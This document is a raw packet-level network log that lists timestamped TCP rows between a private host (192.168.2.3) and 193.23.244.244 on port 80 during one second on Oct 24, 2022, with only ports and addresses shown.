Oct 24, 2022 11:09:03.938087940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938117027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938133001 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938143015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938169003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938194990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938201904 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938225031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938240051 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938254118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938281059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938303947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938333035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938357115 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938360929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938388109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938412905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938438892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938441038 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938465118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938472033 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938491106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938517094 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938518047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938544989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938570976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938581944 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938601017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938623905 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938627005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938656092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938678026 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938682079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938708067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938735962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938757896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938762903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938790083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938792944 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938817024 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938843966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938847065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938869953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938903093 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938922882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938950062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.938977957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.938977957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939006090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939030886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939054966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939057112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939085960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939091921 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939112902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939133883 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939141035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939167976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939193964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939208984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939224005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939250946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939258099 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939280987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939307928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939337015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939337015 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939368010 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939372063 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939394951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939421892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939450026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939456940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939456940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939476967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939487934 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939505100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939527035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939532995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939560890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939579010 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.939587116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.939601898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.940124989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.940150976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.940256119 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.966784954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966826916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966854095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966892958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966919899 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966934919 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.966947079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.966970921 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.966974020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967003107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967009068 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967037916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967063904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967072964 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967092037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967099905 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967120886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967133045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967149019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967171907 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967176914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967206001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967231989 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967231989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967259884 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967281103 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967287064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967314959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967338085 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967343092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967370987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967387915 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967397928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967425108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967444897 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967451096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967478037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967499018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967504978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967535973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967551947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967564106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967591047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967618942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967638969 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967644930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967673063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967674017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967700958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967727900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967751026 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967756987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967782021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967787981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967813969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967840910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967858076 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967868090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967895031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967919111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967920065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967943907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967947960 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.967973948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.967998981 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968000889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968027115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968045950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968053102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968081951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968106031 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968111992 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968141079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968166113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968184948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968193054 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968214989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968219995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968246937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968274117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968291998 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968300104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968323946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968326092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968354940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968381882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968396902 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968409061 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968429089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968435049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968462944 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968488932 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968507051 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968516111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968539953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968544006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968570948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968596935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968614101 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968624115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968646049 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968652964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968681097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968708038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968728065 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968734980 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968760014 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968761921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968791008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968817949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968842030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968844891 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968869925 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968872070 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968899965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968920946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968925953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968935966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968952894 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.968971968 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.968980074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969007969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969022989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969034910 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969060898 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969084024 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969088078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969116926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969136953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969142914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969170094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969194889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969202042 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969222069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969222069 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969254017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969275951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969302893 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969324112 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969327927 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969357014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969374895 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969381094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969404936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969428062 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969429970 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969458103 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969482899 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969501019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969511032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969532013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969538927 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969566107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969593048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969613075 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969618082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969645977 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969649076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969679117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969705105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969726086 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969729900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969758034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969760895 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969784021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969799995 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969811916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969839096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969854116 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969866037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969866991 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969892979 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969918013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969918966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.969947100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.969964981 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.970055103 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.970349073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997288942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997330904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997359037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997383118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997401953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997423887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997452021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997452021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997452021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997476101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997500896 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997524977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997526884 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997549057 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997571945 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997582912 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997596025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997620106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997642994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997643948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997663975 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997669935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997694969 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997720003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997721910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997750044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997776031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997797966 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997802973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997827053 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997828007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997850895 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997874022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997886896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997898102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997921944 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997925043 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.997945070 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997971058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997993946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.997998953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998017073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998042107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998049974 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998070955 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998071909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998116016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998126030 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998147964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998176098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998202085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998214006 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998228073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998250008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998275995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998281002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998301029 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998318911 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998327017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998351097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998356104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998378992 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998404026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998411894 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998430014 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998455048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998478889 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998481989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998500109 CEST	80	49701	193.23.244.244	192.168.2.3
